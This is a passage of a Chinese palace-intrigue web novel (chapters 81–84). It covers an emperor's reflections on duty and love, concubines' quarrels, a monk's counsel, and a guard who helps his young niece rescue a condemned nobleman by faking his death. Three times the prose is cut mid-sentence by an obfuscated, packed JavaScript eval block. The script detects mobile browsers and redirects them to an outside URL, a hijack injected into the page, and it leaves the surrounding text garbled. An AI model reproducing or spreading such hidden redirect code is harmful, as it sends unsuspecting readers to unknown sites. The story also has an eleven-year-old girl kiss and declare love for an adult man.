李义带着殿内执事的内侍退下,反手关上了门。 魏帝看着空落落的大殿,悠悠开口,“十九年了,恍恍然如一梦,一眨眼,朕已经当了十九年的皇帝了,如今,还真是有些累了。烨儿,朕当初得位不正,所以才不得不采用雷霆手段,为了坐稳这个皇位,朕的手上沾满了鲜血,可朕没有办法,朕一步步走到今天,都是踩着刀尖儿过来的,朕必须要狠得下心,才能守住这个江山。但你不一样,朕给你的,是还算太平的天下,还算稳定的朝局,烨儿,你从今往后可以做个盛世明君了。” 魏晗烨抬眸看着魏帝的眼睛,“父皇,儿臣有一件事想问您,可儿臣不知道当说不当说。” “你说。” “儿臣想知道,父皇待母后,究竟是何种感情?” “朕待皇后……” 魏帝默了片刻,他转头看向魏晗烨,“为什么突然问这个?” “因为儿臣昨日读到一句诗,‘最是无情帝王家’,可是儿臣不明白,帝王也是人啊,难道只有孑然一身才配称王称霸吗,若是果真如此,即便最后坐拥了天下,又有何趣呢?”[1] “最是无情帝王家……”魏帝呢喃了一遍,“这话说得不错,你问得也没有错,是人便逃不脱七情六欲,帝王也是一样,只是帝王的情爱,从来由不得自己作主。”[1] “那由谁做主?” “朕也说不清,就拿下棋这件事来说吧。朝中的大臣就好像朕的棋子,他们是黑是白,其实朕全不在意,他们谁输谁赢,其实朕也不在乎,朕要的是这盘棋能长长久久的下下去,这时候,朕是执棋的人。可是,谁又能说得清,朕下这盘棋,为的是什么呢?如果一定要说,只能说朕是天子,大概,朕的情意便是由天作主吧。” “那么母后呢,父皇待她,可曾有过半分真心。” “皇后……” “父皇别怪儿臣唐突,儿臣实在是怕,怕自己坐上皇位之后,便不能轻易再言情爱了,若是那样,儿臣实在是觉得悲哀。” “皇后是朕的发妻,朕敬她,重她,朕与她生下了你,还有你的兄弟,她是大魏的皇后,更是朕生命中唯一的妻。” 魏晗烨神情稍显落寞,“敬她重她,却不爱她。” 魏帝叹了口气,“没有办法,烨儿,朕也不想瞒你,朕与你母后之间掺杂了太多东西,这段感情从一开始就是不纯粹的,朕同你母后走到今日,凭借的从来不是情爱,而是责任。但你要明白,责任其实比感情要牢固得多。情爱就像冬天的雪,看似纯粹动人,但实际上,雪一化,就什么都没有了,留下的只是一片泥泞。而责任呢,责任就像是每日从东方升起的太阳,看似平平无奇,千篇一律,但是风雨无阻,雷打不动,这才是世间最为长久的陪伴。” “那,父皇待席容皇贵妃呢,她是父皇一生中最爱的女人吗?对不起,儿臣知道不应该这样问,可是儿臣实在不知道,这些话还能问谁。” “琰儿,她,她的确是一个让朕动过心的女子,即便是今时今日,朕也没有办法放下她,忘记她,可同样的,朕也没有办法为了她舍弃其他。朕,终究还是在她与天下之间,选择了天下,朕对不住她,也对不住自己。孩子,你一定要明白,从你走上皇位的那一天起,你就与红尘中的情爱再无瓜葛。你拥有了天下人最为羡慕的权力,却永远不能再期待凡俗儿女的那点真心了。你终究有一天会懂得,比起抓得住,看得见的江山,那点真心是最不要紧的。” 魏晗烨沉吟良久,“儿臣……明白了……” 中宫。 绿槐阴阴,风蝉吟吟。 魏皇后还没醒,嫔妃们侯在外头等着请安。 云英挑了帘子出来,笑着说道,“皇后娘娘昨儿身子不爽,起得略晚了些,这不,特意让奴婢出来传话,还请各位主儿稍等片刻。” 贤贵妃道,“皇后娘娘客气了,左右我们也是闲着,等上一等又有何妨呢。” 淑妃附和,“是啊,云英姑娘快回去伺候皇后娘娘吧,娘娘院中的这株槐树长得极好,我们在这儿逛上一逛,正好消磨消磨时间。” 云英笑而不语,向她们行了个礼,便转身回屋了。 裴怡欢扶着木槿的手,远远站在槐树的另一侧。 木槿轻声道,“娘娘,您站得这么远,只怕别的娘娘要议论的。” “怕什么,我就算挤在人堆儿里,那些人该议论也是要议论的,倒不如站得远些,乐得耳根清净。” “娘娘说的也是一番道理。” 木槿扭头打量着凑在一块说话的嫔妃,忽道,“欸,娘娘,您瞧那是黛常在不是?” 裴怡欢看了半晌,移开目光,“似乎是她。” “她怎么出来了,她不是下毒谋害皇上吗?这么重的罪,皇上怎么就轻易放过她了?” “有没有罪都是皇上说了算的,皇上说有,那便是有,皇上说无,那便是无。如今,她既然好好地站在了这里,就说明此前种种,不过是皇上为了引诱席容炎造反的计谋罢了。” 木槿这才恍然大悟,“原来如此。” 黛常在挑了个不起眼的地方站定,嫔妃们瞧见她,果然叽叽喳喳议论起来。 白贵人眉毛一挑,上前讥讽道,“呦,我当是谁,原来是黛常在呀,只是黛常在这双手怎么跟鸡爪似的,骨节都翻出来了?噢,我想起来了,黛常在当初给皇上下了毒,受了刑,才落到这般田地的。说来也是奇怪,这么十恶不赦的重罪,皇上怎么就把黛常在放出来了,难道是为着申大人自裁,以命换命?” 黛常在语调平和,“我是否有罪,不是白贵人说了算的,皇上既然放我出来,就是恕我无罪的意思,白贵人,你就不要多管闲事了。至于家父,那更不与你相干。” “放肆,你不过一个小小的常在,也敢跟我无礼。你们申家早已没落,席容皇贵妃也已身死,我劝你还是收敛些,夹着尾巴做人才好。否则,皇后娘娘眼里可是不揉沙子的。” “白贵人受过皇后娘娘的照拂,所以才这么着急的表现自己,却不知道贵人的这副尊容落在旁人眼里,就像是一条摇尾乞怜的哈巴狗,叼着骨头还在沾沾自喜。” 白贵人登时大怒,一巴掌扇了过去,“我让你胡说八道!” 黛常在捂着脸,不卑不亢,“白贵人,你信不信,你若是再动一下手,我就拖你去皇上跟前说个究竟!你看到时候,皇上是处罚我还是处罚你。” “哼,你害的皇上病了好几日,皇上不取你性命已是天恩,你还指望皇上护着你吗?” “皇上若是果真恨毒了我,他又怎会放我出来,正如你方才所说,我的家族,我的靠山都已经没有了,他没有任何理由不处置我。可他没有,那就说明,皇上留着我尚有用处,你不要自以为是,给自己招了祸患才好。” 白贵人听了这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一旁的英嫔笑道,“是吗,臣妾还以为是荣嫔妹妹对皇后娘娘不敬,所以才失了规矩呢。” “臣妾对皇后娘娘可是一片敬意,英嫔姐姐不要冤枉了我。” “哦?只是不知,比起对旧主的忠心,妹妹对皇后娘娘的这点敬意又值几何呀?” 荣嫔勃然变色,“英嫔,你我同在嫔位,素来无冤无仇,你何故害我?” “嗐,妹妹这是从何说起啊,不过是一家子姐妹在一块儿说笑罢了,妹妹怎么就急了,难道是我方才一不小心说中了?” “你!” 魏皇后冷眼看了半日,此刻方道,“好了,正如英嫔说的,都是一家子姐妹,大热天的,荣嫔,你也犯不着动这么大肝火。” 荣嫔听出魏皇后这话中语气不善,连忙低了头,“是臣妾失仪了,还请皇后娘娘恕罪。” “罢了,本宫就罚你禁足一个月,你在自己宫中安静待着,也好收收性子,小惩大戒,还望荣嫔记着教训,别再在本宫跟前失了分寸。” 荣嫔心有不甘,面上却不敢表露,只能屈膝行礼,“是,臣妾多谢皇后娘娘教诲。” 淑妃瞧着气氛不对,笑着打岔道,“怎么没看见赵妃呢,难不成她又病了?” 魏皇后道,“可不是又病了,昨儿就打发身边的琉璃过来说了,唉,赵妃那个身子骨呀,一冷一热,准是要病倒的。若不是用太医院的好汤药吊着,指不定,罢了——” 白贵人笑道,“皇后娘娘总是这样惦记着咱们姐妹,天儿热了,娘娘自个也要保重身子呀,这不,臣妾自己酿了一坛子青梅酒,娘娘什么时候想喝了,拿冰一镇,最是清凉解暑的。” “白贵人真是有心了,云英,好生收着。行了,这天儿怪热的,又说了这会子话,你们请了安,也都快些回去吧,别中了暑气才好。” 众嫔妃起身行礼,“多谢皇后娘娘,臣妾告退。” 出了中宫,裴怡欢刻意放缓了步子,和众人保持一定距离。 木槿笑道,“奴婢瞧您脸色不大好,等下回宫,奴婢给您煮点绿豆百合汤喝吧。” “听她们说话是累,一个个争来抢去,没意思得很。” “白贵人、英嫔是皇后娘娘的人,黛常在、荣嫔是席容皇贵妃的人,黛常在也就罢了,荣嫔从前可是没少仗着恩宠,作威作福,席容皇贵妃一死,她们自然是要闹开的,说起来,这后宫中又有谁能像您一样无欲无求呢,都是凡人,没办法的事。” 裴怡欢听了微微一笑,“你这丫头,说起话来也是一套一套的了。” “嘿嘿,娘娘兰心蕙性,见事又极明白,我这个做奴婢的也不能给娘娘丢脸呀。” 蓝天白云,绿瓦红墙,清透平和的佛音似远似近,悠悠而至,裴怡欢驻足细细听了半晌,“这声音,像是从长乐宫传来的,木槿,最近可有高僧奉旨入宫?” “娘娘,奴婢并未听闻哪位大师入宫,不过,倒是前段日子皇上的病愈发重了,太医们也都束手无策,太子殿下一直派人寻访三乘大师来着,不知道今日来的是不是他。” “三乘大师?你说的可是西山六净寺的三乘大师?” “正是。” 裴怡欢颔首,“素闻三乘大师极有修行,木槿,随我去长乐宫看看。” 82. 因果唯心造 长乐宫。 魏帝斜斜倚在髹金雕龙木椅上,“朕精神不济,只能和大师歪着说话了,大师切莫怪罪。” 三乘大师念了句佛,“自上次西山一别,已有十数年未见,施主似乎憔悴了许多。” “是啊,西风多少遗恨,世事几度春秋,朕终究是凡胎俗体,奈何不了岁月匆匆,倒是大师松形鹤骨,风采一如往昔。唉,朕当年对大师多有不敬之语,如今想来,实在是追悔莫及,还望大师不要放在心上,是朕那时候年轻气盛,不信神佛,才落到如今这般田地。” “施主多心了,我本天外客,不理俗中事,施主所说的什么不敬之语,我早已记不得了。” “那便好,多谢大师。朕记得,当日大师答应让朕问三个问题,朕问了国祚,还有年寿,其实朕心中还有一个困扰,希望大师慈悲,为朕排忧解惑。” 三乘大师微微一笑,“施主不必多言,我已经知道了。” “哦?果真吗?” “施主要明白,一切有为法,如梦幻泡影,如露亦如电,应作如是观,阿弥陀佛,恕我直言,施主一直念念不忘,耿耿于怀的其实只是幻象罢了。”[1] “幻象——”魏帝神色黯然,“大师的心不在红尘之中,旁观者清,自然知道世间万物皆是幻象,可朕身在其中,纵使明白再多道理也没办法忘怀。” 三乘大师转着手上念珠,“不错,可是施主也要明白,这样的事,唯有自渡,否则旁人就算说再多,也是无济于事。” “朕自知对不住她,因此心怀愧疚,为了此事,日夜焦心!”魏帝长吁短叹,欠身而问,“大师,世上可有使人死而复生之法,朕便是倾尽金银,只要有一线希望,也愿一试!” 三乘大师沉默良久,轻轻吐出一字,“无。” “大师!朕,真的很想让她活过来!” “施主这样问,究竟是想让已逝者复活,还是为了让自己心安?” “朕自然是——”魏帝颓然地倒在椅上,他用力握住雕花扶手,试图控制住颤抖的身体。 “凡有所相,皆是虚妄,施主看不破的其实是自己的心。我问施主一句,若是时空可以倒流,施主是否还会遵从先前的选择呢?施主不必回答,只要心中有数就好。”[2] “若是时空可以倒流,朕——”魏帝长叹一口气,“可惜,世间并无两全法,有些东西,朕就算再怎么不舍,也终究是要舍弃的。” “是了,施主只要想清楚这一层利害,这心病便可解了。” 魏帝阖眼半晌,末了一声轻叹,“多谢大师,朕明白了。” “阿弥陀佛。” “李义,去取黄金百两,赠予大师。” “施主的好意,我心领了,只是出家人,钱财什么的都是身外之物,施主若是有心的话,便用这些银两修缮佛寺,广弘佛法,这便是最好的谢礼了。” 魏帝双手合十,虔诚道,“大师放心,朕一定照办。” 三乘大师念了句佛,便随李义出去了,迎面碰上魏晗烨匆匆赶来,“大师留步。” “殿下,陛下命我送三乘大师出宫。” “李公公回去伺候父皇吧,孤陪着三乘大师就是了,正好孤心里也有一桩事,一直想请三乘大师指点迷津来着。” 李义想了想,笑道,“也好,那就有劳殿下了,奴才告退。” 魏晗烨抬臂,做了一个“请”的动作,“大师这边请。” 三乘大师步子不疾不徐,“阿弥陀佛,施主有何烦忧?” 午后的阳光恣意洒落,浮尘曳动,金波粼粼,魏晗烨抬眼眺着数不尽的琉璃瓦,缓缓道,“父皇将国事交托到了孤的手上,可是孤时常担心,自己会不会成为一个好皇帝。” “会的。” 魏晗烨没有料到,三乘大师回答得如此干脆如此肯定,“大师此言可真?” “出家人不打诳语,十七年前,我第一次见到施主的时候就知道,施主会成为一代明主。” 这段时间因为席容家、李家、申家的事,人心浮动,朝局不稳,魏晗烨勤谨听政,宵衣旰食,生怕出一点错漏,又逢上魏帝生病,他处理政务之余,还要召来太医问询,长此以往,面容不免有些憔悴,此刻听了这话,魏晗烨疲惫的眼底流出一抹喜色,“那就好。” “不过,依我看来,施主的烦心事似乎不止这一桩吧。” “大师怎么知道?真是神了!” 三乘大师平静地说,“无关神通,只在人心,施主眉头紧蹙,可见疑惑不少。” “说起来倒是有些不好意思,弱冠之年将至,孤尚未寻得可以共度一生之人,所以烦忧。” “我明白了,施主这是来问姻缘的。” 魏晗烨一笑,“正是,孤知道大师善断人世因缘,特来向大师求教,只因这是儿女私情,踌躇许久,还是不大好意思开口。” 三乘大师笑容温和,“我观施主,应该已经有意中人了。” “大师果然是得道高僧,不瞒大师,孤心中确有一人。”魏晗烨说着叹了口气,“不过此人已经离孤而去,另觅良人了。太子妃之位空悬,孤的心中也很是不安。父皇病重,无暇顾及此事,但是母后已经催过孤许多次了,若为江山社稷计,孤也确实应该早迎中馈,绵延子息,只是,孤一时半会儿还放不下她,所以为难。” “天机不可道破,我与施主讲一个故事。” “大师请说。” “须菩提白佛言,‘世尊!颇有众生,得闻如是言说章句,生实信不?’佛告须菩提,‘莫作是说。如来常说:汝等比丘,知我说法,如筏喻者,法尚应舍,可况非法。’”[3] “法尚应舍,可况非法。”魏晗烨敛眉思索,“大师的意思是——”[3] “施主若是听劝,便该舍去这段孽缘,只是我也知道,依着施主的性子,怕是做不到的。更何况,情伤皆劫难,造化笑众生,兰因絮果,絮果兰因,都是一回事。这些年,施主千方百计寻我,想来也是知道了十数年前的事情罢。” “是啊,母后同孤说过,当日大师所言,后来都一一应验了。” “说起来,当日我心怀悲悯,也是认真劝过皇后娘娘的,可惜,终究是命中注定,避无可避,所以施主今日问我,也是一样道理。我劝了,施主便会听吗?又或者,我其实也是这因因果果中的一分子,正因为我说了这些话,所以才有了后面的是是非非,若是果真如此,我倒不知,我究竟是劝了施主,还是误了施主了。” 魏晗烨低头沉吟,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502790|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大师所言,也有道理,只是孤深陷迷津,少不得叹息一二。” 三乘大师轻拨佛珠,“若要知道此中事,需问冷眼旁观人,也罢,我送施主四句偈子,是否得悟,就全看施主自己的造化了。” “阿弥陀佛,孤在此谢过大师了。” “施主听好了,我这四句偈语是:倾予风中酒,酌饮云上尘。天地一竹篙,勿入此中门。” “倾予风中酒,酌饮云上尘,天地一竹篙,误入此中门——”魏晗烨跟着呢喃了一遍,不觉赞道,“妙啊,实在是妙绝!” “药方已然写好,只是是否服,如何服,全在施主自己。” 魏晗烨念了句佛,“多谢大师指点。” 不远处,裴怡欢身着一袭湖色菊花纹妆花缎单袍,在延绵不绝的朱红色宫墙旁款款立着,木槿不明就里,“娘娘不是来找三乘大师的吗,怎么不过去说话?” 凉风穿堂而过,裴怡欢抬手理了理鬓角的碎发,浅浅一笑,“我已身入笼中,心中一无所求,二无惦念,来见大师一面,不过遥遥祝祷,多说也是无益,起风了,回吧。” 郊外。 风有一下没一下的吹着,沙沙乱响。 肖二闷头拽着草席,一不小心被芜杂的树枝刮到了脸,“呸,这帮官老爷就知道欺负人,深更半夜的,把这样的苦差事派给了咱们哥俩,这帮死了亲娘的王八羔子!” 尹长栓擦了把汗,“肖兄,悄声些,别让旁人听见,要不咱们回去又该挨骂了。” “怕什么,不是我说你,你长得又高又壮,胆子却比阴沟里的老鼠还小,真让人瞧不起。” “嗐,我就这样,瞧不起就瞧不起吧,无所谓。”尹长栓往地上努嘴儿,“这里头裹着的死人生前倒是个金贵的主儿,有什么用,屁用没有,这年头就是活着最大!” 肖二丢下草席,一屁股坐下,“累了,歇会儿。” 尹长栓嘴里叼了根草,靠树倚着。 “欸,长栓,你说这席容家的二少爷怎么说死就死了,该不会是有仇家下毒暗害吧?” “皇上的旨意是秋后问斩,算起来也没几天了,纵有天大的仇天大的怨,也不差这几天了吧,估计就是在家娇养惯了,受不了牢狱之苦,这才一命呜呼了,唉,也是个可怜人呐。” 肖二伸腿狠狠踹了一脚,“妈的,他可怜?他可怜个几巴!我跟你说,我肖二生平最看不上这帮富贵人家的公子哥了,一个个啥也不会,空有一副好皮囊,仗着自己会投胎,学了一堆颐指气使的做派!” 他心中有气,又啐,“呸!什么东西,给肖大爷提鞋都不配!要他们死那都是便宜他们了,要我说,就该把他们都送去南风馆,让他们也尝尝为人下贱的滋味!” 肖二出身市井,在家排行老二,街上的人都管他叫肖二。他家里弟兄三个,姊妹两个,他还很小的时候,他大哥在一家高门大户为仆,因为惹怒了主人家,竟被活活打死。 他弟弟两三岁上下生了一场大病,没钱买药,高烧不退而死,她姐姐为了养活他们几个,卖身进了红翠馆,因为长相不甚出众,又没什么才艺傍身,只能接些举止粗俗的散客,前年不幸染了花柳病,也去了,这么一算,如今他们家就只剩下他,还有一个年纪最小的妹妹活着了。 83. 往昔倏然去 肖二骂得起劲,尹长栓却并不作声,眼睛一直往四下里瞄。 “喂,你瞅什么呢?” “没什么。” “胆小鬼。”肖二鄙夷地哼了一声,“你说皇上那么宠爱席容皇贵妃,怎么处置起她的骨肉至亲来,一点也不手软。席容阖族,啧啧啧,那叫一个惨呀。” “皇上是天子,自然不会被小情小爱所左右,更何况,皇上的心意岂是你我能够揣测的,肖兄,咱们还是快些把差事了结了,回去睡觉是正经。” “嗯。”肖二吃得圆滚,身体发福,费了半天的劲儿也没站起来,还是尹长栓搭了把手,才把肖二拽了起来。 肖二腆着肚子,抱怨道,“不行了,累死我了,就在这儿烧了吧!” “啊,那可不行,头儿说了,这人是染病死的,得拖到乱葬岗焚化了,省得传染别人。” “哎呀,你怎么那么啰嗦啊,烧完都是一堆灰,在哪烧有什么分别,再说这半夜三更的,你还真想往乱葬岗跑不成,你不嫌累,我还嫌累呢。” 肖二不由分说,掏出火折子就要往草席上点,尹长栓急忙去抢火折子,“肖兄不可。” “你起开!” 二人正在争执间,忽听见树林深处传来一阵凄凄厉厉的怪叫声。 “呜呜呜呜呜——哈哈哈哈哈——” 肖二瞪大了眼睛,“你听,什么声音?” 尹长栓在片刻的慌乱后恢复了镇定,“像是女人在哭。” “女人?这荒郊野外的,哪来的女人?你他妈别胡说!” “肖兄,真不是我胡说。”尹长栓压低了声音,“宫里人人都在议论,自打席容皇贵妃薨逝之后,仪鸾宫那块总有女人的啼哭声,吓得现在都没人敢走仪鸾宫附近的夜路了,都说席容皇贵妃走的不安宁,这是留着魂魄找人索命呢。” 肖二的手吓得直打哆嗦,却还是挺起胸膛,做出一副天不怕地不怕的样子,”行了行了,你别说了,越说越吓人,这儿又不是仪鸾宫,哪来的鬼魂啊,估计就是风声吧——” 他话还没说完,那阵瘆人的怪叫声就又响了起来,仿佛比上次还近了许多。 “妈的,真是邪门了,我看这是有人故意装神弄鬼!”肖二啐了一口吐沫,高声喝道,“谁家的小兔崽子,滚出来让你肖大爷瞅瞅!” 尹长栓赶紧拽他的袖子,“肖兄,鬼神之说,不可不信啊,席容皇贵妃生前可是很疼爱家中的几个弟弟妹妹的,如今,她眼看着亲弟弟落到这般下场,岂有不哭的。” 肖二的嘴唇抿得绷直,“狗屁!我就不信了!” 他说着,用力冲火折子一吹,说来也是凑巧,那点火星刚着起来就灭了。 肖二不信邪,又试了好几次,结果还是点不着火,与此同时,那女人的哭声愈发大了,一声一声,哀哀欲绝,他这下倒真有些慌了。 尹长栓腿一软,跪倒在地上,“冤有头债有主,皇贵妃娘娘,我知道您心里头有怨气,可您别冲我们来呀,我们也是没办法才接了这个差事,求您放过我们吧,长栓给您磕头了!” 肖二额头的冷汗渗进眼睛,他面上虽然还端着,心里早已怕得不行,连火折子跌在地上都不知道,他低头去寻,只瞧见满地的黑影乱晃。 肖二张了张嘴,因为过度恐惧,喉咙发出的声音仿佛不是自己的,“长栓,咱们快走吧。” “啊?” 尹长栓哭得太投入,这会子听见这话,抬起脸抹了把眼泪,“那这差事怎么办?” 肖二也不废话,撒腿就跑,“狗屁差事!保命要紧!反正人都死透透的了,跑也跑不了,大不了明天再烧呗!谁能知道!” “肖兄!等等我!” 说话间,尹长栓摸了根木棍,一骨碌爬起来,照着肖二的后脑勺就砸了下去。 月光透过林间缝隙,疏疏落落地洒了下来,尹长栓的脸上浮出笑意,“盼儿,出来吧!” 悉悉索索的声音传来,一个身着白衣,头发披散的女孩子拨开杂草,从阴影里走了出来。 尹长栓被她这副模样吓得倒抽一口凉气,脸上的笑容僵了好半天才缓过来,“死丫头,你从哪儿整来这么一身衣裳啊,真是怪吓人的。” 盼儿把头发撩起,掖到耳后,“演戏就要演全套,我不是怕他不信嘛,舅舅你瞧,我还准备了这个呢,没想到他这么不经吓,压根就没用上。” 她说着,吐了吐嘴里长长的红舌头。 “行了行了,你说的这个人,我给你弄出来了,但我跟你说啊——” 盼儿抢先笑道,“我知道!下不为例!舅舅放心,我保证就这一次!” “嗯。” 盼儿蹲下身子,拨开草席,仔细端详里头的人,“舅舅,他没事吧。” 席容弥德蓬头垢面,躺在当地,浑身上下瘦得只剩下一把骨头了,囚服松松荡荡的挂在身上,哪里还有一点贵公子的模样,盼儿想起他从前的清俊姿容,不觉悲从中来。 “放心吧,他吃了假死药,看着是没气儿了,实际人好着呢,药劲一过,自己就醒了。” “那他怎么瘦成了这副鬼样子,还有这手上,这脸上,都是伤。” 尹长栓叹了口气,“大牢可不是什么好待的地方,谁进去不得掉一层皮出来,我再怎么留神看顾,他该遭的罪也得遭,要不让人发现,还怎么救他出来呀,只怕他真就死在里头了。” 盼儿从怀中摸出帕子,小心翼翼地为他拭去脸上的污泥,深情道,“公子,你从前救过我,如今换我来救你,也算报答了你当日的恩情。” “丫头,这里不是说话的地方,我已经备好了车马,你带他出去躲躲,等过段时间没人注意了再回缀锦楼,我只能帮你到这儿了。” “嗯嗯,谢谢舅舅。” 席容弥德在颠簸中悠悠转醒,他望着晃动的轿帘,有些发怔。 盼儿惊喜道,“公子终于醒了,可给我担心坏了。” 弥德不解地打量着盼儿,“你是?” 盼儿掖了掖鬓发,露出耳上红滟滟的玛瑙坠子,“公子真的不记得我了吗?” 弥德摇摇头,没有说话。 盼儿的神情稍显落寞,片刻之后,她灿烂一笑,“不记得也好,我叫盼儿,席容弥德,你记住,是本姑娘救了你。” 弥德愕然,“你,救了我?” “怎么?你不信吗?我舅舅是牢里的狱卒,他给你下了假死药,瞒过了验尸的仵作,刚刚又费了好大的劲儿才把你救了出来。” “你舅舅为什么要救我?” 盼儿戳了一下他的脑门,“你这个人,怎么这么傻,我舅舅根本就不认识你,他为什么要救你呀,是我拜托他救你,他才救的,你应该感谢的人是我。” “那——”弥德显然有些不适应盼儿的热情,他试探着问,“那你为什么要救我?” “因为——”盼儿眨了眨眼睛,突然凑过去,在他的脸上亲了一下,“因为我喜欢你!” 弥德怔在当地,他活了这么大,平日里也自诩是个万绿丛中过,片叶不沾身的风流人物,什么样的女子没见过,可像盼儿这么大胆的女孩子,他还真是头一次遇见。 若在从前,弥德定是神情自若,同她调笑一番的,可他家一朝失势,大哥,大姐,二妹都已身死,他如今也才从牢里出来,自身境况一概不知,面对这个所谓的救命恩人,一时不知道该说些什么才好。 盼儿见他不答言,还以为他生气了,笑着哄道,“我救你一命,亲你一下应该不过分吧。” 弥德低下头,仔细瞧着这位“救命恩人”。这个女孩子长得很小,不是娇小的小,而是一打眼就能看出,她年纪很小,“喜欢”这种话从她的嘴里说出来,有一种不真实的感觉。 “你几岁了?” “嗯——过了年就十二了!” 弥德“嗤”的一声笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502791|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来,“就是说,你现在才十一岁呗。” “怎么,你还瞧不起我!”盼儿一叉腰,“你可别忘了,是我把你从大牢里救出来的!要不是我,你早都不知道落在哪只野狗的肚子里了!” 弥德脸上的笑意在一瞬间冻结,“是啊,必死无疑,父亲死了,母亲死了,大哥死了,大姐死了,二妹死了,三弟秋后问斩,四妹五妹两个——” 他嘴角僵硬,“还不如死了呢,省得受人欺辱,都死了,都死了!我还有什么什么好活的,我还有什么好活的!哈哈哈哈哈,我还有什么好活的——” 盼儿这才意识到,自己说错了话,“对,对不起啊,我不是故意要揭你伤疤的,对不起。” 弥德脸颊滑下两道清泪,他在牢中苦熬数日,早已不复从前的心境,“送我回去吧。” “你说什么?” “一家人,总要死在一块。” “不,不行。”盼儿慌了神,一把拉住弥德的袖子,“好死不如赖活着,留得青山在,不怕没柴烧啊,我好不容易才把你救了出来,我怎么能眼睁睁看着你去送死呢!” 弥德从前的眼神是极其清透的,仿佛夏日里葱茏翠绿的竹影,如今,他的眸子却蒙上了一层阴翳,有如吹不散的重重迷雾,黯淡无光,“松手。” “不!”盼儿拼命摇头,“我求你了,你不要去送死,我知道你没有家人了,可你还有我啊,我会一直陪着你的,你就把我当成你的亲人好不好!” 弥德垂眼看她,“你?” “嗯嗯,我是姨娘生的孩子,打小就养在外头,家里兄弟姐妹虽多,我却一个都不认得,我也想有个亲人可以依靠啊,你就把我认作妹妹吧,好不好。” “唉,你也不容易。”盼儿水汪汪的大眼睛里蓄着泪光,弥德有些心软,犹豫道,“可我是皇上下旨处死的人,你跟我混在一处,只会害了你。” “不会的,我舅舅在乡下有处田庄,我们暂且去那里安身,不会有人认识我们的。” “我父亲犯的可是株连九族的重罪,你真不怕被我牵连?” “我若是怕,就不会冒险救你了,从前的事,你或许不记得了,可我却是会记一辈子的。” 盼儿的耳坠子晃呀晃,光影迭迭,弥德依稀想起了好些女孩,翠鸾,香杏,芦儿,娇妘……他睁开眼,那些女孩子的姿容就像梦一样消散了。 “好,你以后就是我席容弥德的妹妹了。”弥德顿了顿,补充说,“如果你不嫌弃的话。” 盼儿喜不自胜,“不嫌弃,怎么会嫌弃呢。我一个下九流的出身,能和你这样的公子哥认亲,是做梦都要笑醒的大喜事。” “公子哥——”弥德苦笑,“以后不要再说这种话了,俗话说的好,一朝得势万人捧,一夕落魄众人唾,我如今还不如你呢。对了,你姓什么?”[1] “我没有名字,大家都管我叫盼儿,论起来,我父亲姓黄,我也应该是姓黄吧。欸,你问这个做什么?” “席容弥德这个名字太显眼了,我们不是兄妹吗,我就想着改成和你一个姓,避避风头。” “这样啊,我父亲姓黄,我母亲姓尹,可他们对我都不怎么样,我也不喜欢他们的姓氏,要不你想一个吧,我以后就跟你姓。” 弥德思忖道,“我从前很喜欢一句诗,莫将闲事挂心头,便是人间好时节,我以后就叫莫闲吧,你就叫莫盼儿,如何?”[2] “莫盼儿。”盼儿歪着头念了一遍,拍掌笑道,“好呀,莫盼儿,我喜欢这个名字!” 盼儿探出头,对着空旷的郊野大喊,“喂!我有名字了!我叫莫盼儿!我有名字了!” 弥德怕她大喊大叫惹人注意,原本想阻拦她,话至嘴边,突然又觉得一切都无所谓了。 今儿是十五,月亮挂在天上,胖乎乎圆滚滚的,像个不谙世事的孩童。 干净脆亮的回声跃过乔木,响彻空谷,一声又一声。 84. 似有故人回 贤乐宫。 贤贵妃歪在榻上,手上拿针绣着活计。 采碧搭了个边儿,笑道,“娘娘的手艺真好,其实娘娘何须自己动手,宫中又不是没有缝人绣娘,做这个最费眼睛了。” 贤贵妃放下针线,往上仰了仰脖子,“眼睛倒好,只是低了半日的头,脖子酸得很。” “那奴婢给您揉揉。” “嗯。” “对了,娘娘,我听长乐宫的小太监说,皇上要给席容皇贵妃做法事超度呢。” “又做法事?本宫记得席容皇贵妃薨逝之后,皇上至少已经给她做过三场法事了。”贤贵妃捻起婴戏图果盘中的一粒葡萄,缓缓送入口中,“想当初,席容皇贵妃还在世的时候,皇上硬是一次仪鸾宫都不肯踏入,人一没,又是钦赐谥号,又是大办丧仪,又是没完没了的做法事,这规制都快赶上皇后了,不知道这次做法事又是为着什么?” “什么为着什么呀?” 贤贵妃抬眼一看,“呦,妹妹来了,怎么不让人通报一声,我还当是谁,唬了我一大跳。” 淑妃笑道,“是我不让他们通报的,姐姐和采碧说什么体己话呢。” “不过是说起皇上要给席容皇贵妃做法事的事儿,闲聊罢了,妹妹快坐,采碧,奉茶。” “姐姐也听说这件事了?” “是啊,说起来,这席容皇贵妃再怎么尊贵,也终究只是个皇贵妃,前头还有皇后娘娘压着呢,恕我说句大不敬的话,如今就这样,若是来日皇后娘娘仙去,又该如何呢?” “姐姐有所不知,我听说这次做法事是有缘由的。” “哦?” 淑妃拿眼睛看了一圈,贤贵妃会意,“采碧,你领他们下去罢。” “我听说啊,这仪鸾宫最近不大太平。” 